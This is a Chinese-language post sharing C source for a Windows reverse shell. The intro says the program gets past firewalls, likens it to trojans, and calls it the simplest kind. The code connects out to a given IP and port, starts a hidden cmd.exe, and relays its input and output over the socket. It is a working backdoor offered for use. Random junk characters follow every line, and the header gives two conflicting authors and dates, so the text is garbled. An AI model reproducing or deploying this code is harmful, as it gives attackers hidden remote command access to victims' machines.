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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )W vOa] :  
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/* ============================== \"5p )(  
Rebound port in Windows NT =dWq B&  
By wind,2006/7 Vy=+G~  
===============================*/ 7MKZ*f@x;  
#include -y$<fu9 e  
#include lx ~C{tl2  
ys7 Tq+  
#pragma comment(lib,"wsock32.lib") y^ st T^  
&*Kk> 4  
void OutputShell(); Q } 0_}W  
SOCKET sClient; w`=XoYQl~*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #??[;xjs!  
T7Ju7_q}  
void main(int argc,char **argv) ~eiD(04^r*  
{ 5pff}Ru`  
WSADATA stWsaData; Kz]\o"K  
int nRet; kD((1v*D$  
SOCKADDR_IN stSaiClient,stSaiServer; ;1r|Bx<5  
}`76yH^c  
if(argc != 3) Wk }}f|O0  
{ $g,v]MW  
printf("Useage:\n\rRebound DestIP DestPort\n"); 85A7YraL  
return; c;#gvE  
} 1k$5'^]^9]  
g<8Oezi 65  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2';{o=TXV  
>I+p;V$@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]x'd0GH"]  
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stSaiClient.sin_family = AF_INET; @v\8+0  
stSaiClient.sin_port = htons(0); _ZK*p+u%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I%z,s{9p  
$B]_^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D|vck1C5,  
{ .[?2_e#9%  
printf("Bind Socket Failed!\n"); I&% Z*H  
return; gmiLjI  
} C+Wa(K  
6r h#ATep  
stSaiServer.sin_family = AF_INET; @)ls+}=Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _]0<G8|Rv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YlZ&4   
@qF:v]=_@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,"?8  
{ Q>G% *?  
printf("Connect Error!"); wS|hc+1  
return; hij 9r z  
} >``  
OutputShell(); [[ll4|  
} TFXKCl  
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void OutputShell() Dh68=F0  
{ J7kqyo"  
char szBuff[1024]; F84<='K  
SECURITY_ATTRIBUTES stSecurityAttributes; tU.~7f#+A  
OSVERSIONINFO stOsversionInfo; {]4Zpev  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OgzKX>N`A  
STARTUPINFO stStartupInfo; ;):E 8;B)  
char *szShell; Xhpcu1nA  
PROCESS_INFORMATION stProcessInformation; JI&.d:  
unsigned long lBytesRead; $h  >rs  
~bw=;xF{3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i G%R'/*  
:=:m4UJb  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AO(z l*4  
stSecurityAttributes.lpSecurityDescriptor = 0; v&sl_w/tn  
stSecurityAttributes.bInheritHandle = TRUE; #9HX"<5  
M>{*PHze0  
bUuQ"!>ppu  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xi)$t#K"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7T(&DOGZ  
Uu9I;q!|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6|4ID"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IJ7wUZp"  
stStartupInfo.wShowWindow = SW_HIDE; Ir Y\Q)  
stStartupInfo.hStdInput = hReadPipe; fY|[YPGO^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \ #la8,+9  
nJwP|P_  
GetVersionEx(&stOsversionInfo); MG^YT%f  
FA%V>&;`  
switch(stOsversionInfo.dwPlatformId) UC.kI&A  
{ 4)p ID`  
case 1: ,@zw  
szShell = "command.com"; ,}l|_GGj  
break; ;Qq7@(2y  
default: $gCN[%+j  
szShell = "cmd.exe"; *bzqH2h8  
break; qXoq< |  
} R.YUUXT  
sg4(@>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 64Tb,AL_  
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send(sClient,szMsg,77,0); y-~_W 6\  
while(1) Us%g&MWdpb  
{ uF[~YJ>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  +&<k}Mz  
if(lBytesRead) I |"'  
{ bR?xz-g%<3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f @Vd'k<  
send(sClient,szBuff,lBytesRead,0); 2dDhO  
} WwxV} ?Cf+  
else @c).&7  
{ yqP=6   
lBytesRead=recv(sClient,szBuff,1024,0); *Xh#W7,<  
if(lBytesRead<=0) break; ! iK{q0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CXTt N9N9  
} 6;(b-Dhi  
} wU"w  
(#]9{ C;  
return; ``>z8t[ks  
}
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